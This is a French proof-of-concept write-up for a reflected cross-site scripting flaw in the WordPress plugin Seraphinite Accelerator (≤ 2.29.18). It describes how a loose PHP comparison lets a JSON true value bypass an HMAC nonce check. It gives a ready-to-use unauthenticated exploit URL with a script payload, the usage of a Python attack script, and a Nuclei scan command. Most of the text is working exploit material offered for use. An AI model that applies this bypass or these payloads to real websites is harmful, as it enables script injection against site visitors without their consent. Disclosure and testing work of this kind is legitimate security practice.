
Seraphinite Accelerator <= 2.29.18 - Preuve de concept de XSS réfléchi
Le plugin signe ses requêtes internes de « préparation de page » avec un HMAC dans le paramètre seraph_accel_prep (JSON encodé en base64), mais le compare avec l'opérateur lâche != de PHP. En envoyant le booléen JSON true comme nonce, la comparaison réussit toujours, et le champ selfTest est ensuite renvoyé sans échappement sous la forme selfTest-<value>.
Une seule URL, aucune authentification :
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (nécessite pip install requests) :
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei :
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
Le paramètre -timeout 10 est nécessaire car le chemin de code vulnérable dort 5 secondes avant de répondre.